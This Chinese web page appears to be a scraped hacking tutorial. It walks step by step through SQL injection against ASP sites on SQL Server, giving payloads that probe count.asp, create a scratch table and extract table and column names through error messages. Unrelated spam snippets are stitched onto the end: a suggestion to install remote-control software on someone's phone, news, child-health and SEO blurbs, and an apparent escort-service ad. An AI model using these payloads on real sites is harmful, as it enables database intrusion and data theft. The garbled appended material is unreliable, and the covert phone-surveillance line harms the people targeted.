大家在是否碰到过这样的站点:
全站文章系统采用FSO静态生成的HTML文件来显示。这样做的好处一来可以减轻服务器负担,提高访问速度。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击 *** :
查看源文件/看里面是否有通过 *** 来调用的页面。
如调用来更新文章的浏览次数。
我们就可以这样来试一下可否注入:
http://服务器域名/count.asp?id=1552’
看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
post.htm内容:主要是方便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条记录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名
你可以在对方手机里面安装远控程序,用杀毒软件可以检查出来还有对方的系统不同,采用的方法也不同 担心手机安全,可以装个腾讯手机管家有安全检测的功能,无需自己进行设置只需要一直保持后台开启,有病毒应用或者...
相信现在有好多小伙伴们拿这手机都在看无锡火车站设置无健康码通道事情吧,因为在这两天无锡火车站设置无健康码通道的热度是非常高的,受到了广大网友们的关注,那么既然现在大家都非常关注无锡火车站设置无健康码通...
孩子在长乳牙的阶段,会陆陆续续的发低烧,注意不要把长牙发烧和感冒发烧混淆在一起,物理降温即可进行简单的护理,那么孩子长牙会发烧吗?孩子长牙发烧怎么办?下面友谊长存带来介绍。 孩子长牙会发烧吗? 可...
一个网站成功建立以后,还有一个很大的愿景,那就想网站在成功建立并上线以后,能够拥有很好的排名,面对这样的问题时,网站如何优化排名?下面亿宏世纪会做一个详细的解答,通过做网站优化能够拥有很好的排名。...
在许多ctf初赛中,web标题由于都比较“小”,所以经常是一台服务器放多个web标题。 这种情况下权限设置就极为重要。 假如一个竞赛由于权限没有设置好,导致选手用一个标题的恣意文件读取缝隙,或许一个r...
哪有预约深圳市商务要多少钱,那麼哪些平台预约上海市商务社会经济学。平台为大伙儿搜集了详尽的商务材料相片,预约內容、地址、价目表、服务和女学妹联系电话手机微信等。 深圳市商务预约价目表 上海市商务:sh...